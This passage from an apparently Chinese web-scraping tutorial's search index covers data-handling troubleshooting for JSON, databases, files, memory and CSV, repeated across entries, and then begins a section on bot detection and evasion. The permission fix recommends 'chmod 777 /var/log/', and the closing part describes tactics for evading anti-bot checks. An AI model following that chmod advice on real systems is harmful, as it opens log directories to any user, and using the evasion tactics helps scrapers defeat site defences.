re.search(r'var\\s+data\\s*=\\s*({.*?});', html, re.DOTALL) if match: json_str = match.group(1) data = json.loads(json_str) # 方法 3: 提取 JSON-LD script = soup.find('script', {'type': 'application/ld+json'}) if script: data = json.loads(script.string) ","date":"2025-06-09","objectID":"/reverse_engineering/web/10-troubleshooting/data_issues/:2:1","tags":["Web","问题排查","Root检测","调试","IDA Pro"],"title":"数据处理问题","uri":"/reverse_engineering/web/10-troubleshooting/data_issues/#jsondecodeerror"},{"categories":null,"collections":null,"content":"JSONDecodeError 问题表现: json.decoder.JSONDecodeError: Expecting value: line 1 column 1 (char 0) 原因分析: 响应不是 JSON 格式 JSON 格式错误 空响应 HTML 错误页面 解决方案: 1. 检查响应内容 import requests import json response = requests.get(url) # 先检查状态码 if response.status_code != 200: print(f\"Error: {response.status_code}\") print(response.text) exit() # 检查 Content-Type content_type = response.headers.get('Content-Type', '') if 'application/json' not in content_type: print(f\"Warning: Content-Type is {content_type}\") # 安全解析 try: data = response.json() except json.JSONDecodeError as e: print(f\"JSON Parse Error: {e}\") print(f\"Response text: {response.text[:500]}\") # 打印前500字符 data = None 2. 处理畸形 JSON import json5 # pip install json5 # json5 可以解析带注释、尾随逗号的 JSON text = ''' { \"name\": \"value\", // 注释 \"items\": [1, 2, 3,], // 尾随逗号 } ''' data = json5.loads(text) 3. 修复常见 JSON 问题 import re import json def fix_json(text): \"\"\"修复常见的 JSON 问题\"\"\" # 移除 JavaScript 注释 text = re.sub(r'//.*?\\n', '\\n', text) text = re.sub(r'/\\*.*?\\*/', '', text, flags=re.DOTALL) # 移除尾随逗号 text = re.sub(r',\\s*}', '}', text) text = re.sub(r',\\s*]', ']', text) # 单引号转双引号 (谨慎使用) # text = text.replace(\"'\", '\"') return text # 使用 text = response.text fixed_text = fix_json(text) data = json.loads(fixed_text) 4. 从 HTML 中提取 JSON import re import json from bs4 import BeautifulSoup html = response.text # 方法 1: 从 script 标签提取 soup = BeautifulSoup(html, 'lxml') script = soup.find('script', {'id': 'initial-data'}) if script: data = json.loads(script.string) # 方法 2: 使用正则提取 match = re.search(r'var\\s+data\\s*=\\s*({.*?});', html, re.DOTALL) if match: json_str = match.group(1) data = json.loads(json_str) # 方法 3: 提取 JSON-LD script = soup.find('script', {'type': 'application/ld+json'}) if script: data = json.loads(script.string) ","date":"2025-06-09","objectID":"/reverse_engineering/web/10-troubleshooting/data_issues/:2:1","tags":["Web","问题排查","Root检测","调试","IDA Pro"],"title":"数据处理问题","uri":"/reverse_engineering/web/10-troubleshooting/data_issues/#1-检查响应内容"},{"categories":null,"collections":null,"content":"JSONDecodeError 问题表现: json.decoder.JSONDecodeError: Expecting value: line 1 column 1 (char 0) 原因分析: 响应不是 JSON 格式 JSON 格式错误 空响应 HTML 错误页面 解决方案: 1. 检查响应内容 import requests import json response = requests.get(url) # 先检查状态码 if response.status_code != 200: print(f\"Error: {response.status_code}\") print(response.text) exit() # 检查 Content-Type content_type = response.headers.get('Content-Type', '') if 'application/json' not in content_type: print(f\"Warning: Content-Type is {content_type}\") # 安全解析 try: data = response.json() except json.JSONDecodeError as e: print(f\"JSON Parse Error: {e}\") print(f\"Response text: {response.text[:500]}\") # 打印前500字符 data = None 2. 处理畸形 JSON import json5 # pip install json5 # json5 可以解析带注释、尾随逗号的 JSON text = ''' { \"name\": \"value\", // 注释 \"items\": [1, 2, 3,], // 尾随逗号 } ''' data = json5.loads(text) 3. 修复常见 JSON 问题 import re import json def fix_json(text): \"\"\"修复常见的 JSON 问题\"\"\" # 移除 JavaScript 注释 text = re.sub(r'//.*?\\n', '\\n', text) text = re.sub(r'/\\*.*?\\*/', '', text, flags=re.DOTALL) # 移除尾随逗号 text = re.sub(r',\\s*}', '}', text) text = re.sub(r',\\s*]', ']', text) # 单引号转双引号 (谨慎使用) # text = text.replace(\"'\", '\"') return text # 使用 text = response.text fixed_text = fix_json(text) data = json.loads(fixed_text) 4. 从 HTML 中提取 JSON import re import json from bs4 import BeautifulSoup html = response.text # 方法 1: 从 script 标签提取 soup = BeautifulSoup(html, 'lxml') script = soup.find('script', {'id': 'initial-data'}) if script: data = json.loads(script.string) # 方法 2: 使用正则提取 match = re.search(r'var\\s+data\\s*=\\s*({.*?});', html, re.DOTALL) if match: json_str = match.group(1) data = json.loads(json_str) # 方法 3: 提取 JSON-LD script = soup.find('script', {'type': 'application/ld+json'}) if script: data = json.loads(script.string) ","date":"2025-06-09","objectID":"/reverse_engineering/web/10-troubleshooting/data_issues/:2:1","tags":["Web","问题排查","Root检测","调试","IDA Pro"],"title":"数据处理问题","uri":"/reverse_engineering/web/10-troubleshooting/data_issues/#2-处理畸形-json"},{"categories":null,"collections":null,"content":"JSONDecodeError 问题表现: json.decoder.JSONDecodeError: Expecting value: line 1 column 1 (char 0) 原因分析: 响应不是 JSON 格式 JSON 格式错误 空响应 HTML 错误页面 解决方案: 1. 检查响应内容 import requests import json response = requests.get(url) # 先检查状态码 if response.status_code != 200: print(f\"Error: {response.status_code}\") print(response.text) exit() # 检查 Content-Type content_type = response.headers.get('Content-Type', '') if 'application/json' not in content_type: print(f\"Warning: Content-Type is {content_type}\") # 安全解析 try: data = response.json() except json.JSONDecodeError as e: print(f\"JSON Parse Error: {e}\") print(f\"Response text: {response.text[:500]}\") # 打印前500字符 data = None 2. 处理畸形 JSON import json5 # pip install json5 # json5 可以解析带注释、尾随逗号的 JSON text = ''' { \"name\": \"value\", // 注释 \"items\": [1, 2, 3,], // 尾随逗号 } ''' data = json5.loads(text) 3. 修复常见 JSON 问题 import re import json def fix_json(text): \"\"\"修复常见的 JSON 问题\"\"\" # 移除 JavaScript 注释 text = re.sub(r'//.*?\\n', '\\n', text) text = re.sub(r'/\\*.*?\\*/', '', text, flags=re.DOTALL) # 移除尾随逗号 text = re.sub(r',\\s*}', '}', text) text = re.sub(r',\\s*]', ']', text) # 单引号转双引号 (谨慎使用) # text = text.replace(\"'\", '\"') return text # 使用 text = response.text fixed_text = fix_json(text) data = json.loads(fixed_text) 4. 从 HTML 中提取 JSON import re import json from bs4 import BeautifulSoup html = response.text # 方法 1: 从 script 标签提取 soup = BeautifulSoup(html, 'lxml') script = soup.find('script', {'id': 'initial-data'}) if script: data = json.loads(script.string) # 方法 2: 使用正则提取 match = re.search(r'var\\s+data\\s*=\\s*({.*?});', html, re.DOTALL) if match: json_str = match.group(1) data = json.loads(json_str) # 方法 3: 提取 JSON-LD script = soup.find('script', {'type': 'application/ld+json'}) if script: data = json.loads(script.string) ","date":"2025-06-09","objectID":"/reverse_engineering/web/10-troubleshooting/data_issues/:2:1","tags":["Web","问题排查","Root检测","调试","IDA Pro"],"title":"数据处理问题","uri":"/reverse_engineering/web/10-troubleshooting/data_issues/#3-修复常见-json-问题"},{"categories":null,"collections":null,"content":"JSONDecodeError 问题表现: json.decoder.JSONDecodeError: Expecting value: line 1 column 1 (char 0) 原因分析: 响应不是 JSON 格式 JSON 格式错误 空响应 HTML 错误页面 解决方案: 1. 检查响应内容 import requests import json response = requests.get(url) # 先检查状态码 if response.status_code != 200: print(f\"Error: {response.status_code}\") print(response.text) exit() # 检查 Content-Type content_type = response.headers.get('Content-Type', '') if 'application/json' not in content_type: print(f\"Warning: Content-Type is {content_type}\") # 安全解析 try: data = response.json() except json.JSONDecodeError as e: print(f\"JSON Parse Error: {e}\") print(f\"Response text: {response.text[:500]}\") # 打印前500字符 data = None 2. 处理畸形 JSON import json5 # pip install json5 # json5 可以解析带注释、尾随逗号的 JSON text = ''' { \"name\": \"value\", // 注释 \"items\": [1, 2, 3,], // 尾随逗号 } ''' data = json5.loads(text) 3. 修复常见 JSON 问题 import re import json def fix_json(text): \"\"\"修复常见的 JSON 问题\"\"\" # 移除 JavaScript 注释 text = re.sub(r'//.*?\\n', '\\n', text) text = re.sub(r'/\\*.*?\\*/', '', text, flags=re.DOTALL) # 移除尾随逗号 text = re.sub(r',\\s*}', '}', text) text = re.sub(r',\\s*]', ']', text) # 单引号转双引号 (谨慎使用) # text = text.replace(\"'\", '\"') return text # 使用 text = response.text fixed_text = fix_json(text) data = json.loads(fixed_text) 4. 从 HTML 中提取 JSON import re import json from bs4 import BeautifulSoup html = response.text # 方法 1: 从 script 标签提取 soup = BeautifulSoup(html, 'lxml') script = soup.find('script', {'id': 'initial-data'}) if script: data = json.loads(script.string) # 方法 2: 使用正则提取 match = re.search(r'var\\s+data\\s*=\\s*({.*?});', html, re.DOTALL) if match: json_str = match.group(1) data = json.loads(json_str) # 方法 3: 提取 JSON-LD script = soup.find('script', {'type': 'application/ld+json'}) if script: data = json.loads(script.string) ","date":"2025-06-09","objectID":"/reverse_engineering/web/10-troubleshooting/data_issues/:2:1","tags":["Web","问题排查","Root检测","调试","IDA Pro"],"title":"数据处理问题","uri":"/reverse_engineering/web/10-troubleshooting/data_issues/#4-从-html-中提取-json"},{"categories":null,"collections":null,"content":"数据库连接问题 ","date":"2025-06-09","objectID":"/reverse_engineering/web/10-troubleshooting/data_issues/:3:0","tags":["Web","问题排查","Root检测","调试","IDA Pro"],"title":"数据处理问题","uri":"/reverse_engineering/web/10-troubleshooting/data_issues/#数据库连接问题"},{"categories":null,"collections":null,"content":"MongoDB 连接失败 问题表现: ServerSelectionTimeoutError: localhost:27017: [Errno 111] Connection refused 解决方案: import pymongo from pymongo.errors import ServerSelectionTimeoutError # 添加超时和错误处理 try: client = pymongo.MongoClient( 'mongodb://localhost:27017/', serverSelectionTimeoutMS=5000, connectTimeoutMS=5000, socketTimeoutMS=5000 ) # 测试连接 client.server_info() print(\"✅ MongoDB connected\") except ServerSelectionTimeoutError as e: print(f\"❌ MongoDB connection failed: {e}\") print(\"提示:\") print(\"1. 检查 MongoDB 是否运行: systemctl status mongod\") print(\"2. 检查端口: netstat -an | grep 27017\") print(\"3. 检查防火墙设置\") exit() 认证问题 # 带认证的连接 client = pymongo.MongoClient( 'mongodb://username:password@localhost:27017/', authSource='admin', # 认证数据库 authMechanism='SCRAM-SHA-256' # 认证机制 ) # 或使用 URI 格式 uri = 'mongodb://username:password@host1:27017,host2:27017/database?authSource=admin' client = pymongo.MongoClient(uri) ","date":"2025-06-09","objectID":"/reverse_engineering/web/10-troubleshooting/data_issues/:3:1","tags":["Web","问题排查","Root检测","调试","IDA Pro"],"title":"数据处理问题","uri":"/reverse_engineering/web/10-troubleshooting/data_issues/#mongodb-连接失败"},{"categories":null,"collections":null,"content":"MongoDB 连接失败 问题表现: ServerSelectionTimeoutError: localhost:27017: [Errno 111] Connection refused 解决方案: import pymongo from pymongo.errors import ServerSelectionTimeoutError # 添加超时和错误处理 try: client = pymongo.MongoClient( 'mongodb://localhost:27017/', serverSelectionTimeoutMS=5000, connectTimeoutMS=5000, socketTimeoutMS=5000 ) # 测试连接 client.server_info() print(\"✅ MongoDB connected\") except ServerSelectionTimeoutError as e: print(f\"❌ MongoDB connection failed: {e}\") print(\"提示:\") print(\"1. 检查 MongoDB 是否运行: systemctl status mongod\") print(\"2. 检查端口: netstat -an | grep 27017\") print(\"3. 检查防火墙设置\") exit() 认证问题 # 带认证的连接 client = pymongo.MongoClient( 'mongodb://username:password@localhost:27017/', authSource='admin', # 认证数据库 authMechanism='SCRAM-SHA-256' # 认证机制 ) # 或使用 URI 格式 uri = 'mongodb://username:password@host1:27017,host2:27017/database?authSource=admin' client = pymongo.MongoClient(uri) ","date":"2025-06-09","objectID":"/reverse_engineering/web/10-troubleshooting/data_issues/:3:1","tags":["Web","问题排查","Root检测","调试","IDA Pro"],"title":"数据处理问题","uri":"/reverse_engineering/web/10-troubleshooting/data_issues/#认证问题"},{"categories":null,"collections":null,"content":"MySQL 连接问题 问题表现: Error 2003: Can't connect to MySQL server on 'localhost' 解决方案: import mysql.connector from mysql.connector import Error try: connection = mysql.connector.connect( host='localhost', port=3306, database='testdb', user='root', password='password', connect_timeout=10, autocommit=True, charset='utf8mb4' ) if connection.is_connected(): db_info = connection.get_server_info() print(f\"✅ Connected to MySQL Server version {db_info}\") except Error as e: print(f\"❌ Error: {e}\") print(\"检查项:\") print(\"1. MySQL 服务是否运行\") print(\"2. 用户名密码是否正确\") print(\"3. 是否允许远程连接\") print(\"4. 防火墙设置\") finally: if connection and connection.is_connected(): connection.close() ","date":"2025-06-09","objectID":"/reverse_engineering/web/10-troubleshooting/data_issues/:3:2","tags":["Web","问题排查","Root检测","调试","IDA Pro"],"title":"数据处理问题","uri":"/reverse_engineering/web/10-troubleshooting/data_issues/#mysql-连接问题"},{"categories":null,"collections":null,"content":"Redis 连接问题 解决方案: import redis from redis.exceptions import ConnectionError try: r = redis.Redis( host='localhost', port=6379, password='password', # 如果有密码 db=0, decode_responses=True, socket_connect_timeout=5, socket_timeout=5 ) # 测试连接 r.ping() print(\"✅ Redis connected\") except ConnectionError as e: print(f\"❌ Redis connection failed: {e}\") except redis.AuthenticationError: print(\"❌ Redis authentication failed\") ","date":"2025-06-09","objectID":"/reverse_engineering/web/10-troubleshooting/data_issues/:3:3","tags":["Web","问题排查","Root检测","调试","IDA Pro"],"title":"数据处理问题","uri":"/reverse_engineering/web/10-troubleshooting/data_issues/#redis-连接问题"},{"categories":null,"collections":null,"content":"文件读写错误 ","date":"2025-06-09","objectID":"/reverse_engineering/web/10-troubleshooting/data_issues/:4:0","tags":["Web","问题排查","Root检测","调试","IDA Pro"],"title":"数据处理问题","uri":"/reverse_engineering/web/10-troubleshooting/data_issues/#文件读写错误"},{"categories":null,"collections":null,"content":"文件不存在 问题表现: FileNotFoundError: [Errno 2] No such file or directory: 'data.txt' 解决方案: import os from pathlib import Path # 方法 1: 检查文件是否存在 file_path = 'data.txt' if os.path.exists(file_path): with open(file_path, 'r') as f: content = f.read() else: print(f\"File not found: {file_path}\") # 方法 2: 使用 Path 对象 file_path = Path('data.txt') if file_path.exists(): content = file_path.read_text(encoding='utf-8') # 方法 3: 创建目录 output_dir = Path('output/data') output_dir.mkdir(parents=True, exist_ok=True) # 方法 4: 使用绝对路径 from pathlib import Path base_dir = Path(__file__).resolve().parent file_path = base_dir / 'data' / 'file.txt' ","date":"2025-06-09","objectID":"/reverse_engineering/web/10-troubleshooting/data_issues/:4:1","tags":["Web","问题排查","Root检测","调试","IDA Pro"],"title":"数据处理问题","uri":"/reverse_engineering/web/10-troubleshooting/data_issues/#文件不存在"},{"categories":null,"collections":null,"content":"权限错误 问题表现: PermissionError: [Errno 13] Permission denied: '/var/log/app.log' 解决方案: # Linux/Mac # 1. 修改文件权限 chmod 666 /var/log/app.log # 2. 修改目录权限 chmod 777 /var/log/ # 3. 修改所有者 sudo chown $USER:$USER /var/log/app.log # 4. 使用用户目录 # 在代码中使用 ~/data/ 而不是 /var/log/ # 使用用户目录 from pathlib import Path home = Path.home() log_dir = home / '.myapp' / 'logs' log_dir.mkdir(parents=True, exist_ok=True) log_file = log_dir / 'app.log' ","date":"2025-06-09","objectID":"/reverse_engineering/web/10-troubleshooting/data_issues/:4:2","tags":["Web","问题排查","Root检测","调试","IDA Pro"],"title":"数据处理问题","uri":"/reverse_engineering/web/10-troubleshooting/data_issues/#权限错误"},{"categories":null,"collections":null,"content":"内存问题 ","date":"2025-06-09","objectID":"/reverse_engineering/web/10-troubleshooting/data_issues/:5:0","tags":["Web","问题排查","Root检测","调试","IDA Pro"],"title":"数据处理问题","uri":"/reverse_engineering/web/10-troubleshooting/data_issues/#内存问题"},{"categories":null,"collections":null,"content":"内存溢出 问题表现: MemoryError 解决方案: 1. 分批处理大文件 # 不要一次性读取整个文件 # ❌ 错误方式 with open('huge_file.txt', 'r') as f: content = f.read() # 可能导致内存溢出 # ✅ 正确方式:按行读取 with open('huge_file.txt', 'r') as f: for line in f: process_line(line) # 或使用生成器 def read_large_file(file_path, chunk_size=1024*1024): \"\"\"分块读取大文件\"\"\" with open(file_path, 'r') as f: while True: chunk = f.read(chunk_size) if not chunk: break yield chunk for chunk in read_large_file('huge_file.txt'): process_chunk(chunk) 2. 使用迭代器 # ❌ 一次性加载所有数据 urls = [f\"https://example.com/page/{i}\" for i in range(100000)] # ✅ 使用生成器 def url_generator(count): for i in range(count): yield f\"https://example.com/page/{i}\" for url in url_generator(100000): process_url(url) 3. 清理不用的对象 import gc # 手动触发垃圾回收 gc.collect() # 删除大对象 del large_dataframe gc.collect() 4. 使用数据库而非内存 # ❌ 所有数据存在内存中 all_data = [] for item in items: all_data.append(process(item)) # ✅ 直接存入数据库 import sqlite3 conn = sqlite3.connect('data.db') cursor = conn.cursor() for item in items: data = process(item) cursor.execute(\"INSERT INTO results VALUES (?, ?)\", (data.id, data.value)) conn.commit() ","date":"2025-06-09","objectID":"/reverse_engineering/web/10-troubleshooting/data_issues/:5:1","tags":["Web","问题排查","Root检测","调试","IDA Pro"],"title":"数据处理问题","uri":"/reverse_engineering/web/10-troubleshooting/data_issues/#内存溢出"},{"categories":null,"collections":null,"content":"内存溢出 问题表现: MemoryError 解决方案: 1. 分批处理大文件 # 不要一次性读取整个文件 # ❌ 错误方式 with open('huge_file.txt', 'r') as f: content = f.read() # 可能导致内存溢出 # ✅ 正确方式:按行读取 with open('huge_file.txt', 'r') as f: for line in f: process_line(line) # 或使用生成器 def read_large_file(file_path, chunk_size=1024*1024): \"\"\"分块读取大文件\"\"\" with open(file_path, 'r') as f: while True: chunk = f.read(chunk_size) if not chunk: break yield chunk for chunk in read_large_file('huge_file.txt'): process_chunk(chunk) 2. 使用迭代器 # ❌ 一次性加载所有数据 urls = [f\"https://example.com/page/{i}\" for i in range(100000)] # ✅ 使用生成器 def url_generator(count): for i in range(count): yield f\"https://example.com/page/{i}\" for url in url_generator(100000): process_url(url) 3. 清理不用的对象 import gc # 手动触发垃圾回收 gc.collect() # 删除大对象 del large_dataframe gc.collect() 4. 使用数据库而非内存 # ❌ 所有数据存在内存中 all_data = [] for item in items: all_data.append(process(item)) # ✅ 直接存入数据库 import sqlite3 conn = sqlite3.connect('data.db') cursor = conn.cursor() for item in items: data = process(item) cursor.execute(\"INSERT INTO results VALUES (?, ?)\", (data.id, data.value)) conn.commit() ","date":"2025-06-09","objectID":"/reverse_engineering/web/10-troubleshooting/data_issues/:5:1","tags":["Web","问题排查","Root检测","调试","IDA Pro"],"title":"数据处理问题","uri":"/reverse_engineering/web/10-troubleshooting/data_issues/#1-分批处理大文件"},{"categories":null,"collections":null,"content":"内存溢出 问题表现: MemoryError 解决方案: 1. 分批处理大文件 # 不要一次性读取整个文件 # ❌ 错误方式 with open('huge_file.txt', 'r') as f: content = f.read() # 可能导致内存溢出 # ✅ 正确方式:按行读取 with open('huge_file.txt', 'r') as f: for line in f: process_line(line) # 或使用生成器 def read_large_file(file_path, chunk_size=1024*1024): \"\"\"分块读取大文件\"\"\" with open(file_path, 'r') as f: while True: chunk = f.read(chunk_size) if not chunk: break yield chunk for chunk in read_large_file('huge_file.txt'): process_chunk(chunk) 2. 使用迭代器 # ❌ 一次性加载所有数据 urls = [f\"https://example.com/page/{i}\" for i in range(100000)] # ✅ 使用生成器 def url_generator(count): for i in range(count): yield f\"https://example.com/page/{i}\" for url in url_generator(100000): process_url(url) 3. 清理不用的对象 import gc # 手动触发垃圾回收 gc.collect() # 删除大对象 del large_dataframe gc.collect() 4. 使用数据库而非内存 # ❌ 所有数据存在内存中 all_data = [] for item in items: all_data.append(process(item)) # ✅ 直接存入数据库 import sqlite3 conn = sqlite3.connect('data.db') cursor = conn.cursor() for item in items: data = process(item) cursor.execute(\"INSERT INTO results VALUES (?, ?)\", (data.id, data.value)) conn.commit() ","date":"2025-06-09","objectID":"/reverse_engineering/web/10-troubleshooting/data_issues/:5:1","tags":["Web","问题排查","Root检测","调试","IDA Pro"],"title":"数据处理问题","uri":"/reverse_engineering/web/10-troubleshooting/data_issues/#2-使用迭代器"},{"categories":null,"collections":null,"content":"内存溢出 问题表现: MemoryError 解决方案: 1. 分批处理大文件 # 不要一次性读取整个文件 # ❌ 错误方式 with open('huge_file.txt', 'r') as f: content = f.read() # 可能导致内存溢出 # ✅ 正确方式:按行读取 with open('huge_file.txt', 'r') as f: for line in f: process_line(line) # 或使用生成器 def read_large_file(file_path, chunk_size=1024*1024): \"\"\"分块读取大文件\"\"\" with open(file_path, 'r') as f: while True: chunk = f.read(chunk_size) if not chunk: break yield chunk for chunk in read_large_file('huge_file.txt'): process_chunk(chunk) 2. 使用迭代器 # ❌ 一次性加载所有数据 urls = [f\"https://example.com/page/{i}\" for i in range(100000)] # ✅ 使用生成器 def url_generator(count): for i in range(count): yield f\"https://example.com/page/{i}\" for url in url_generator(100000): process_url(url) 3. 清理不用的对象 import gc # 手动触发垃圾回收 gc.collect() # 删除大对象 del large_dataframe gc.collect() 4. 使用数据库而非内存 # ❌ 所有数据存在内存中 all_data = [] for item in items: all_data.append(process(item)) # ✅ 直接存入数据库 import sqlite3 conn = sqlite3.connect('data.db') cursor = conn.cursor() for item in items: data = process(item) cursor.execute(\"INSERT INTO results VALUES (?, ?)\", (data.id, data.value)) conn.commit() ","date":"2025-06-09","objectID":"/reverse_engineering/web/10-troubleshooting/data_issues/:5:1","tags":["Web","问题排查","Root检测","调试","IDA Pro"],"title":"数据处理问题","uri":"/reverse_engineering/web/10-troubleshooting/data_issues/#3-清理不用的对象"},{"categories":null,"collections":null,"content":"内存溢出 问题表现: MemoryError 解决方案: 1. 分批处理大文件 # 不要一次性读取整个文件 # ❌ 错误方式 with open('huge_file.txt', 'r') as f: content = f.read() # 可能导致内存溢出 # ✅ 正确方式:按行读取 with open('huge_file.txt', 'r') as f: for line in f: process_line(line) # 或使用生成器 def read_large_file(file_path, chunk_size=1024*1024): \"\"\"分块读取大文件\"\"\" with open(file_path, 'r') as f: while True: chunk = f.read(chunk_size) if not chunk: break yield chunk for chunk in read_large_file('huge_file.txt'): process_chunk(chunk) 2. 使用迭代器 # ❌ 一次性加载所有数据 urls = [f\"https://example.com/page/{i}\" for i in range(100000)] # ✅ 使用生成器 def url_generator(count): for i in range(count): yield f\"https://example.com/page/{i}\" for url in url_generator(100000): process_url(url) 3. 清理不用的对象 import gc # 手动触发垃圾回收 gc.collect() # 删除大对象 del large_dataframe gc.collect() 4. 使用数据库而非内存 # ❌ 所有数据存在内存中 all_data = [] for item in items: all_data.append(process(item)) # ✅ 直接存入数据库 import sqlite3 conn = sqlite3.connect('data.db') cursor = conn.cursor() for item in items: data = process(item) cursor.execute(\"INSERT INTO results VALUES (?, ?)\", (data.id, data.value)) conn.commit() ","date":"2025-06-09","objectID":"/reverse_engineering/web/10-troubleshooting/data_issues/:5:1","tags":["Web","问题排查","Root检测","调试","IDA Pro"],"title":"数据处理问题","uri":"/reverse_engineering/web/10-troubleshooting/data_issues/#4-使用数据库而非内存"},{"categories":null,"collections":null,"content":"CSV 处理问题 ","date":"2025-06-09","objectID":"/reverse_engineering/web/10-troubleshooting/data_issues/:6:0","tags":["Web","问题排查","Root检测","调试","IDA Pro"],"title":"数据处理问题","uri":"/reverse_engineering/web/10-troubleshooting/data_issues/#csv-处理问题"},{"categories":null,"collections":null,"content":"编码和分隔符 import csv import chardet # 检测编码 with open('data.csv', 'rb') as f: result = chardet.detect(f.read()) encoding = result['encoding'] # 读取 CSV with open('data.csv', 'r', encoding=encoding) as f: # 自动检测分隔符 sample = f.read(1024) f.seek(0) sniffer = csv.Sniffer() delimiter = sniffer.sniff(sample).delimiter reader = csv.DictReader(f, delimiter=delimiter) for row in reader: print(row) ","date":"2025-06-09","objectID":"/reverse_engineering/web/10-troubleshooting/data_issues/:6:1","tags":["Web","问题排查","Root检测","调试","IDA Pro"],"title":"数据处理问题","uri":"/reverse_engineering/web/10-troubleshooting/data_issues/#编码和分隔符"},{"categories":null,"collections":null,"content":"处理大型 CSV import pandas as pd # 分块读取 chunk_size = 10000 for chunk in pd.read_csv('large.csv', chunksize=chunk_size): process_chunk(chunk) # 只读取需要的列 df = pd.read_csv('data.csv', usecols=['col1', 'col2']) # 指定数据类型节省内存 df = pd.read_csv('data.csv', dtype={'id': 'int32', 'value': 'float32'}) ","date":"2025-06-09","objectID":"/reverse_engineering/web/10-troubleshooting/data_issues/:6:2","tags":["Web","问题排查","Root检测","调试","IDA Pro"],"title":"数据处理问题","uri":"/reverse_engineering/web/10-troubleshooting/data_issues/#处理大型-csv"},{"categories":null,"collections":null,"content":"XML/HTML 解析问题 ","date":"2025-06-09","objectID":"/reverse_engineering/web/10-troubleshooting/data_issues/:7:0","tags":["Web","问题排查","Root检测","调试","IDA Pro"],"title":"数据处理问题","uri":"/reverse_engineering/web/10-troubleshooting/data_issues/#xmlhtml-解析问题"},{"categories":null,"collections":null,"content":"解析失败 from bs4 import BeautifulSoup from lxml import etree html = response.text # 方法 1: BeautifulSoup (宽容) soup = BeautifulSoup(html, 'lxml') # 或 'html.parser' # 方法 2: lxml (严格) try: tree = etree.HTML(html) except etree.XMLSyntaxError as e: print(f\"Parse error: {e}\") # 处理畸形 HTML from lxml.html import fromstring from lxml.html.clean import Cleaner cleaner = Cleaner() cleaned_html = cleaner.clean_html(html) doc = fromstring(cleaned_html) ","date":"2025-06-09","objectID":"/reverse_engineering/web/10-troubleshooting/data_issues/:7:1","tags":["Web","问题排查","Root检测","调试","IDA Pro"],"title":"数据处理问题","uri":"/reverse_engineering/web/10-troubleshooting/data_issues/#解析失败"},{"categories":null,"collections":null,"content":"数据验证 ","date":"2025-06-09","objectID":"/reverse_engineering/web/10-troubleshooting/data_issues/:8:0","tags":["Web","问题排查","Root检测","调试","IDA Pro"],"title":"数据处理问题","uri":"/reverse_engineering/web/10-troubleshooting/data_issues/#数据验证"},{"categories":null,"collections":null,"content":"使用 Pydantic from pydantic import BaseModel, validator, ValidationError from typing import Optional class Item(BaseModel): id: int name: str price: float stock: Optional[int] = 0 @validator('price') def price_must_be_positive(cls, v): if v \u003c= 0: raise ValueError('Price must be positive') return v # 验证数据 try: item = Item(id=1, name='Product', price=19.99) except ValidationError as e: print(e.json()) ","date":"2025-06-09","objectID":"/reverse_engineering/web/10-troubleshooting/data_issues/:8:1","tags":["Web","问题排查","Root检测","调试","IDA Pro"],"title":"数据处理问题","uri":"/reverse_engineering/web/10-troubleshooting/data_issues/#使用-pydantic"},{"categories":null,"collections":null,"content":"相关章节 数据存储方案 Python 编码问题 常用命令 ","date":"2025-06-09","objectID":"/reverse_engineering/web/10-troubleshooting/data_issues/:9:0","tags":["Web","问题排查","Root检测","调试","IDA Pro"],"title":"数据处理问题","uri":"/reverse_engineering/web/10-troubleshooting/data_issues/#相关章节"},{"categories":null,"collections":null,"content":"反爬虫技术深度分析 ","date":"2025-06-08","objectID":"/reverse_engineering/web/04-advanced-recipes/anti_scraping_deep_dive/:0:0","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","加密分析"],"title":"反爬虫技术深度分析","uri":"/reverse_engineering/web/04-advanced-recipes/anti_scraping_deep_dive/#反爬虫技术深度分析"},{"categories":null,"collections":null,"content":"概述 现代网站采用多层次、多维度的反爬虫体系。本章深入分析主流反爬虫技术的原理、检测方法及对抗策略。 ","date":"2025-06-08","objectID":"/reverse_engineering/web/04-advanced-recipes/anti_scraping_deep_dive/:1:0","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","加密分析"],"title":"反爬虫技术深度分析","uri":"/reverse_engineering/web/04-advanced-recipes/anti_scraping_deep_dive/#概述"},{"categories":null,"collections":null,"content":"📚 前置知识 在开始本配方之前，建议先掌握以下内容： 知识领域 重要程度 参考资料 浏览器指纹识别 必需 浏览器指纹识别 HTTP/HTTPS 协议 必需 HTTP/HTTPS 协议 Hook 技术 必需 Hook 技术 TLS 指纹 推荐 TLS 指纹识别 浏览器自动化 推荐 Puppeteer/Playwright 💡 提示: 反爬虫对抗是一场持续的攻防战。本配方整合了指纹、行为、协议等多维度的检测与绕过技术，是逆向工程的综合应用。 ","date":"2025-06-08","objectID":"/reverse_engineering/web/04-advanced-recipes/anti_scraping_deep_dive/:2:0","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","加密分析"],"title":"反爬虫技术深度分析","uri":"/reverse_engineering/web/04-advanced-recipes/anti_scraping_deep_dive/#-前置知识"},{"categories":null,"collections":null,"content":"反爬虫技术分类 ","date":"2025-06-08","objectID":"/reverse_engineering/web/04-advanced-recipes/anti_scraping_deep_dive/:3:0","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","加密分析"],"title":"反爬虫技术深度分析","uri":"/reverse_engineering/web/04-advanced-recipes/anti_scraping_deep_dive/#反爬虫技术分类"},{"categories":null,"collections":null,"content":"1. 基于行为的检测 特征: 请求频率异常（短时间大量请求） 访问模式异常（只访问 API，不访问静态资源） 用户行为缺失（无鼠标移动、键盘事件） 检测方法: # 服务端检测逻辑示例 def is_bot_behavior(request_log): # 1. 检查请求频率 if request_log.count_in_last_minute() \u003e 100: return True # 2. 检查 User-Agent if not request_log.has_valid_user_agent(): return True # 3. 检查 Referer 链 if not request_log.has_valid_referer_chain(): return True return False 对抗策略: 添加随机延迟：time.sleep(random.uniform(1, 3)) 模拟完整的浏览行为：访问首页 -\u003e 列表页 -\u003e 详情页 加载静态资源（CSS/JS/图片） ","date":"2025-06-08","objectID":"/reverse_engineering/web/04-advanced-recipes/anti_scraping_deep_dive/:3:1","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","加密分析"],"title":"反爬虫技术深度分析","uri":"/reverse_engineering/web/04-advanced-recipes/anti_scraping_deep_dive/#1-基于行为的检测"},{"categories":null,"collections":null,"content":"2. 基于 JavaScript 的检测 检测 webdriver 检测代码: if (navigator.webdriver) { console.log(\"Bot detected!\"); } // 检测 Selenium 特征 if (window.document.documentElement.getAttribute(\"webdriver\")) { console.log(\"Selenium detected!\"); } // 检测 PhantomJS if (window.callPhantom || window._phantom) { 